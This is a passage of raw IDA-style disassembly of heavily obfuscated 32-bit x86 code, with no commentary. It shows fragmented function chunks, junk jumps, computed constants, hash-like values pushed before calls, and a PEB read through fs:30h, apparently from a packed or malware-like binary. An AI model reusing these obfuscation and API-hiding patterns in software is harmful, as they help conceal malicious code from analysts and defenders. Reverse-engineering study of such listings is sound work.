004242BA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429781 SIZE 00000005 BYTES mov [esp+0], eax pop eax popf jmp loc_4242BA sub_425A3C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_425A47: ; CODE XREF: _0182ofla:00429E4Dj ror eax, 1Ch loc_425A4A: ; CODE XREF: _0182ofla:loc_4252BEj push ebx push 239081A1h pop ebx jmp loc_424AA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_425A56: ; CODE XREF: sub_428F46:loc_42E4C2j push ecx jmp loc_42EB13 ; END OF FUNCTION CHUNK FOR sub_428F46 ; =============== S U B R O U T I N E ======================================= sub_425A5C proc near ; CODE XREF: sub_42CE73-678Bp ; sub_424F35+28FAj xchg ecx, [esp+0] pop ecx add edx, 6E2059B7h call sub_42D71D push eax ror eax, 12h push edx jmp loc_42460D sub_425A5C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_425A76: ; CODE XREF: sub_428F20-5433j jp sub_42D978 loc_425A7C: ; CODE XREF: sub_428F20:loc_425E86j push 4B0F7582h pop eax or eax, 59BE2B4Ch xor eax, 7DCB10FEh jmp loc_429CCC ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A93 proc near ; DATA XREF: sub_425305+6o ; FUNCTION CHUNK AT 004269C7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A4B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DC0C SIZE 00000013 BYTES push ebp mov ebp, esp mov esp, ebp pop ebp mov eax, ds:dword_427A34 or eax, eax jnz loc_4269C7 call sub_428D17 jmp loc_42A4B6 sub_425A93 endp ; =============== S U B R O U T I N E ======================================= sub_425AB1 proc near ; DATA XREF: sub_4255BB+9o ; FUNCTION CHUNK AT 00423D51 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427430 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A029 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042AF5C SIZE 00000005 BYTES jnz loc_423D51 mov eax, [ebp-20h] mov byte ptr [eax], 64h inc dword ptr [ebp-20h] mov eax, [ebp-20h] jmp loc_427430 sub_425AB1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428205 loc_425AC8: ; CODE XREF: sub_42EAB7-2372j ; sub_428205:loc_42D632j mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] and eax, 0FFh mov eax, ds:dword_42BD04[eax*4] mov [ebp-8], eax jmp loc_42AD8D ; END OF FUNCTION CHUNK FOR sub_428205 ; =============== S U B R O U T I N E ======================================= sub_425AE5 proc near ; CODE XREF: sub_425BF8+4F9p ; _0182ofla:0042B838j xchg edi, [esp+0] pop edi mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] cmp edx, 7C61090Eh loc_425AF6: ; CODE XREF: sub_428FED:loc_429F07j push offset loc_42AE2B jmp nullsub_23 sub_425AE5 endp ; =============== S U B R O U T I N E ======================================= sub_425B00 proc near ; DATA XREF: sub_427942+1B7Eo ; FUNCTION CHUNK AT 00425C50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004261C0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042644B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426821 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00426DAB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00427016 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428939 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428A5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428ABF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428DDF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00429088 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042A76D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042AF9D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042C8E0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042CB94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D073 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D2B1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042D37E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042D9C8 SIZE 00000011 BYTES jz loc_425B13 push ebp mov eax, [ebp-20h] call sub_42CA48 pop ecx mov [ebp-20h], eax loc_425B13: ; CODE XREF: sub_425B00j ; sub_427942+E6Bj ... jnz loc_42D2B1 test byte ptr [ebp-7], 8 jmp loc_428ABF sub_425B00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_425B22: ; CODE XREF: sub_42798F+6Bj jz loc_428547 call sub_42892E test al, al jz loc_428547 jmp loc_42B7C0 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_425B3A: ; DATA XREF: sub_4256AD+3E7Co mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_425EE4 call sub_4249DB loc_425B4C: ; CODE XREF: _0182ofla:0042D480j push ebp ; START OF FUNCTION CHUNK FOR sub_426B01 loc_425B4D: ; CODE XREF: sub_426B01:loc_42D471j add edi, 61CB9376h xchg edi, [esp+0] jmp loc_42E07A ; END OF FUNCTION CHUNK FOR sub_426B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DF41 loc_425B5B: ; CODE XREF: sub_42DF41:loc_4262FCj jz loc_42AF61 loc_425B61: ; CODE XREF: sub_42DF41-8A55j jmp loc_42D45A ; END OF FUNCTION CHUNK FOR sub_42DF41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_425B66: ; CODE XREF: sub_42AAF8:loc_42A2E8j mov [esp+4+var_4], eax jmp loc_427583 ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B6E proc near ; CODE XREF: sub_423B53+4j var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 004232BA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004232F5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042331C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004242E7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424847 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424964 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424D33 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042518C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004255D4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425D2A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004264DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426F33 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042755A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042757E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00427703 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A8F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428558 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428825 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428ABA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A0FA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A818 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0042B83D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042CC0B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E597 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E8CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E9BD SIZE 0000000F BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cmp ds:dword_42D214, 0 jnz loc_42A0FA jmp loc_427703 sub_425B6E endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_425B86: ; CODE XREF: _0182ofla:004265B1j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E648 loc_425B87: ; CODE XREF: sub_42E648+7j jmp loc_428EDB ; END OF FUNCTION CHUNK FOR sub_42E648 ; --------------------------------------------------------------------------- loc_425B8C: ; CODE XREF: _0182ofla:00426D2Fj jmp locret_4290E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426455 loc_425B91: ; CODE XREF: sub_426455+18j jmp loc_427491 ; END OF FUNCTION CHUNK FOR sub_426455 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_425B96: ; CODE XREF: sub_428041+13j add ebx, 20EF038Ah popf push offset loc_42DB71 jmp loc_42D119 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- and ebp, 0F01E2938h jmp sub_424707 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B43 loc_425BB2: ; CODE XREF: sub_423B43+94B4j shl esi, 0Eh shr esi, 0Ah jmp loc_425F7E ; END OF FUNCTION CHUNK FOR sub_423B43 ; --------------------------------------------------------------------------- loc_425BBD: ; CODE XREF: _0182ofla:loc_42DF9Cj push 29733297h pop eax add eax, 0D6CEFEF9h push offset sub_426BCE jmp locret_4246B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423127 loc_425BD4: ; CODE XREF: sub_423127+78B9j jmp loc_4288C6 ; END OF FUNCTION CHUNK FOR sub_423127 ; --------------------------------------------------------------------------- push 7D950B8Bh pop edx rol edx, 1Eh cmp edx, 62488C8Bh jmp loc_42CEE5 ; =============== S U B R O U T I N E ======================================= sub_425BED proc near ; CODE XREF: sub_42913D+5p ; _0182ofla:0042A2B9j ; FUNCTION CHUNK AT 00427840 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042E070 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA4E SIZE 00000013 BYTES mov [esp+0], edx pop edx jnz loc_42EA4E retn sub_425BED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425BF8 proc near ; CODE XREF: sub_4296F0+Cp ; FUNCTION CHUNK AT 00423448 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00424816 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042550D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042567C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042570D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00425D41 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004260E5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004266F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427EF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428FFC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00429313 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00429F11 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AE31 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042CA88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC29 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D4BE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042ED73 SIZE 00000033 BYTES push ebx push ecx mov eax, large fs:30h mov eax, [eax+0Ch] jmp loc_42570D sub_425BF8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_425C09: ; CODE XREF: sub_4253F4:loc_42838Fj pop esi mov dword ptr [ebp-0Ch], 1 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; START OF FUNCTION CHUNK FOR sub_42B15E loc_425C11: ; CODE XREF: sub_42B15E-73F1j ; _0182ofla:0042DF0Cj lea eax, [ebp-14h] push eax push 4 push 28h push 2779F65Bh jmp loc_423018 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_425C23: ; CODE XREF: sub_42798F-23D9j ror eax, 7 mov ds:dword_424C18, eax retn ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_425C2D: ; CODE XREF: sub_42C1B2+1j jmp loc_424744 ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_425C32: ; CODE XREF: sub_42E218j push eax jmp loc_428C17 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4258F5 loc_425C38: ; CODE XREF: sub_4258F5:loc_42C9F8j cmp [ebp+var_1], 0 jz loc_427E24 loc_425C42: ; CODE XREF: _0182ofla:loc_426960j mov [ebp+var_8], 1 ; END OF FUNCTION CHUNK FOR sub_4258F5 ; START OF FUNCTION CHUNK FOR sub_429A64 loc_425C49: ; CODE XREF: sub_429A64:loc_426CBDj ; _0182ofla:00426DA6j mov eax, [ebp-8] pop ecx pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_429A64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_425C50: ; CODE XREF: sub_425B00+2E48j jmp loc_4261C0 ; END OF FUNCTION CHUNK FOR sub_425B00 ; =============== S U B R O U T I N E ======================================= sub_425C55 proc near ; CODE XREF: _0182ofla:00424E93j ; sub_425B6E+13D1p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423604 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00423CDF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428577 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042A0F0 SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx mov [edi], eax pop edi cmp ds:dword_42D214, 0 jnz loc_42A0F0 jmp loc_423CDF sub_425C55 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_425C6E: ; CODE XREF: sub_42798F:loc_427A38j pushf push 2D59C373h pop ecx add ecx, 0D2A6407Eh popf xor edx, edx div ecx mov [ebp-14h], edx jmp loc_429BAF ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C89 proc near ; CODE XREF: sub_425153+4p ; sub_42E734+2p ; FUNCTION CHUNK AT 00423C36 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427159 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042722F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004278B2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428681 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A1CE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AEF7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CEF0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E3EE SIZE 00000014 BYTES push ebp mov ebp, esp xchg ecx, ebx push ebx jmp loc_42CEF0 sub_425C89 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_425C94: ; CODE XREF: sub_42798F:loc_4274E8j and ebx, ecx loc_425C96: ; CODE XREF: _0182ofla:loc_42CD65j cdq jmp loc_427A9C ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_425C9C proc near ; CODE XREF: sub_426851+102Fp ; _0182ofla:0042A0CAj xchg edx, [esp+0] pop edx push 5AAD8B59h loc_425CA5: ; CODE XREF: _0182ofla:loc_4234F0j sub dword ptr [esp+0], 5AAD8B59h jmp sub_427F32 sub_425C9C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_425CB1: ; CODE XREF: sub_424707+7E30j push ecx jmp loc_42D1E8 ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426993 loc_425CB7: ; CODE XREF: sub_426993+3CC3j ; sub_42B15E:loc_42D16Ej cdq jge sub_42D6DD popf jmp loc_42E53D ; END OF FUNCTION CHUNK FOR sub_426993 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 42E03D2h jmp sub_42CD44 ; --------------------------------------------------------------------------- test al, al jz loc_4277B2 jmp loc_42C186 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_425CDC: ; CODE XREF: sub_42D9A4:loc_42977Cj jge loc_42B305 ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; START OF FUNCTION CHUNK FOR sub_42D978 loc_425CE2: ; CODE XREF: sub_42D978+Cj jmp loc_42E61A ; END OF FUNCTION CHUNK FOR sub_42D978 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_425CE7: ; CODE XREF: sub_42E218-156Aj jmp loc_424DA2 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- xchg ecx, [ebp+0] popf sub ecx, esi xchg ecx, edx jmp loc_42B2FF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42583B loc_425CFA: ; CODE XREF: sub_42583B+7103j jmp loc_428E35 ; END OF FUNCTION CHUNK FOR sub_42583B ; --------------------------------------------------------------------------- loc_425CFF: ; CODE XREF: _0182ofla:0042C2C7j jmp loc_42DD4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CC59 loc_425D04: ; CODE XREF: sub_42CC59-4FF9j jmp nullsub_117 ; END OF FUNCTION CHUNK FOR sub_42CC59 ; --------------------------------------------------------------------------- loc_425D09: ; CODE XREF: _0182ofla:00427983j call sub_42B1F9 ; START OF FUNCTION CHUNK FOR sub_42DD2A loc_425D0E: ; CODE XREF: sub_42DD2A:loc_42E0D1j jnz loc_4286BA jmp loc_42D78F ; END OF FUNCTION CHUNK FOR sub_42DD2A ; --------------------------------------------------------------------------- loc_425D19: ; CODE XREF: _0182ofla:00426E60j test eax, 6E525A10h jmp loc_42E868 ; --------------------------------------------------------------------------- pushf jmp loc_425A37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_425D2A: ; CODE XREF: sub_425B6E-594j cdq jmp loc_42518C ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_425D30: ; CODE XREF: sub_428D63-523Bj ; sub_426E6A+35A1j add ecx, 9F388F12h mov ecx, [ecx] xchg ecx, [esp+4+var_4] retn ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- loc_425D3C: ; CODE XREF: _0182ofla:0042E87Aj jmp locret_42CA7C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_425D41: ; CODE XREF: sub_425BF8+78CFj jmp nullsub_140 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42719D loc_425D46: ; CODE XREF: sub_42719D+Bj jmp loc_427D77 ; END OF FUNCTION CHUNK FOR sub_42719D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C8C0 loc_425D4B: ; CODE XREF: sub_42C8C0:loc_42D29Aj mov edx, [edi] xchg eax, [ebp+0] pushf ror eax, 0Fh push 0F1F41E71h jmp loc_42A786 ; END OF FUNCTION CHUNK FOR sub_42C8C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AA3 loc_425D5E: ; CODE XREF: sub_429AA3-51DEj pop edi xor edi, 0FB0D3CFBh add edi, ebp add edi, 30AD2C22h mov [edi], eax pop edi call sub_424A70 ; END OF FUNCTION CHUNK FOR sub_429AA3 ; START OF FUNCTION CHUNK FOR sub_42D1AE loc_425D75: ; CODE XREF: sub_42D1AE+9j jmp nullsub_133 ; END OF FUNCTION CHUNK FOR sub_42D1AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A642 loc_425D7A: ; CODE XREF: sub_42A642-22CAj rol eax, 19h call sub_427EF0 not esi jmp sub_424E62 ; END OF FUNCTION CHUNK FOR sub_42A642 ; --------------------------------------------------------------------------- loc_425D89: ; CODE XREF: _0182ofla:004241F3j jz sub_42CE73 ; =============== S U B R O U T I N E ======================================= sub_425D8F proc near ; CODE XREF: sub_428336+49C9p xchg edx, [esp+0] loc_425D92: ; CODE XREF: _0182ofla:0042CB21j pop edx mov [edi], eax call sub_42AB3E sub_425D8F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425D9A proc near ; CODE XREF: sub_42AAD2:loc_42AF52j push ebp push offset loc_4264C6 jmp nullsub_77 sub_425D9A endp ; =============== S U B R O U T I N E ======================================= sub_425DA5 proc near ; CODE XREF: _0182ofla:0042540Aj ; _0182ofla:0042A1F4p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042397A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004239FE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423A59 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004248F3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425852 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426B0A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004275E2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428285 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428696 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429356 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004294CA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A1B0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B25D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042B56F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042B597 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B61B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042CD54 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042DA3D SIZE 0000000B BYTES xchg ecx, [esp+4+var_4] pop ecx mov [ebp-4], eax call sub_428EF6 loc_425DB1: ; DATA XREF: sub_42935B+1o mov [esp+0], ebp mov ebp, esp call sub_427CDE loc_425DBB: ; CODE XREF: _0182ofla:0042E033j jmp loc_42397A sub_425DA5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: _0182ofla:00424EA3j jmp locret_4276FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4254D3 loc_425DC5: ; CODE XREF: sub_4254D3:loc_426EC7j mov eax, [ebp+arg_0] test byte ptr [eax-8], 80h jz loc_42A500 inc [ebp+var_8] loc_425DD5: ; CODE XREF: sub_4254D3:loc_423B19j ; sub_4254D3:loc_42A51Aj mov eax, [ebp+var_8] jmp loc_423090 ; END OF FUNCTION CHUNK FOR sub_4254D3 ; --------------------------------------------------------------------------- loc_425DDD: ; CODE XREF: _0182ofla:00423BC7j sub edx, ecx ; =============== S U B R O U T I N E ======================================= sub_425DDF proc near ; CODE XREF: sub_423D2D+24DAp ; FUNCTION CHUNK AT 0042394F SIZE 00000006 BYTES mov [esp+0], ecx pop ecx add eax, 3Ch mov eax, [eax] jmp loc_42394F sub_425DDF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_425DED: ; CODE XREF: sub_4298DD:loc_42D3C9j push 99741098h pop ecx sub ecx, 0A640463h or ecx, 0B18157EEh add ecx, 40B10FB1h jmp loc_42C12D ; END OF FUNCTION CHUNK FOR sub_4298DD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_425E0B: ; CODE XREF: _0182ofla:0042CE2Dj jge loc_4284D7 and eax, ebp ; =============== S U B R O U T I N E ======================================= sub_425E13 proc near ; CODE XREF: sub_42A760+1C44p ; FUNCTION CHUNK AT 0042C386 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042EC5B SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push ebp jmp loc_42EC5B sub_425E13 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C565 loc_425E1D: ; CODE XREF: sub_42C565:loc_42E2E3j lea eax, [ebp-20h] push eax ; END OF FUNCTION CHUNK FOR sub_42C565 ; START OF FUNCTION CHUNK FOR sub_42380D loc_425E21: ; CODE XREF: sub_42380D:loc_428CA7j push edx push 85FD458Bh pop edx jmp loc_42B565 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_425E2D: ; CODE XREF: sub_42D833:loc_4234EBj sub ebx, 0FD763D4Bh xor ebx, 0FE7D9384h loc_425E39: ; CODE XREF: _0182ofla:00423BC1j add ebx, 0E5D866AAh loc_425E3F: ; CODE XREF: sub_42E689:loc_42B6BBj xchg ebx, [esp+8+var_8] jmp sub_424CD8 ; END OF FUNCTION CHUNK FOR sub_42D833 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_425E48: ; CODE XREF: sub_428041+2AE0j jmp sub_4295D6 ; END OF FUNCTION CHUNK FOR sub_428041 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E4D proc near ; CODE XREF: sub_42D0E4+Fj ; sub_42D056:loc_42E038p ; FUNCTION CHUNK AT 00423846 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425164 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B048 SIZE 00000010 BYTES push esi mov [esp+0], ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_425164 sub_425E4D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1D1 loc_425E5C: ; CODE XREF: sub_42C1D1:loc_42C1D6j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h call sub_42912B loc_425E6B: ; CODE XREF: sub_423FE2+9D75j jmp nullsub_94 ; END OF FUNCTION CHUNK FOR sub_42C1D1 ; --------------------------------------------------------------------------- loc_425E70: ; CODE XREF: _0182ofla:00428B07j jmp loc_42D3ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B02 loc_425E75: ; CODE XREF: sub_427B02+Cj jmp loc_424307 ; END OF FUNCTION CHUNK FOR sub_427B02 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D950 loc_425E7B: ; CODE XREF: sub_42D950+16j jmp loc_42713A ; END OF FUNCTION CHUNK FOR sub_42D950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_425E80: ; CODE XREF: sub_428F20-2F0j pop eax call sub_42A241 loc_425E86: ; CODE XREF: _0182ofla:0042610Aj jnz loc_425A7C jmp loc_423AE4 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_425E91: ; CODE XREF: sub_4253F4+585Dj jnz loc_429A53 loc_425E97: ; CODE XREF: sub_423BD5+Dj jmp loc_42D5B3 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- sbb esi, edx ; START OF FUNCTION CHUNK FOR sub_428D63 loc_425E9E: ; CODE XREF: sub_428D63:loc_4257DAj not eax jmp loc_429A51 ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_425EA5 proc near ; DATA XREF: sub_42561D+2056o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424544 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004252C9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042AAAA SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042AAB3 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042CD72 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D455 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E494 SIZE 00000014 BYTES mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_42AAB3 mov eax, [ebp-8] loc_425EB4: ; CODE XREF: _0182ofla:loc_4256C5j jmp loc_424544 sub_425EA5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_425EB9: ; CODE XREF: _0182ofla:004233CAj pushf mov [esp], edx xchg eax, ebp push ebp jmp 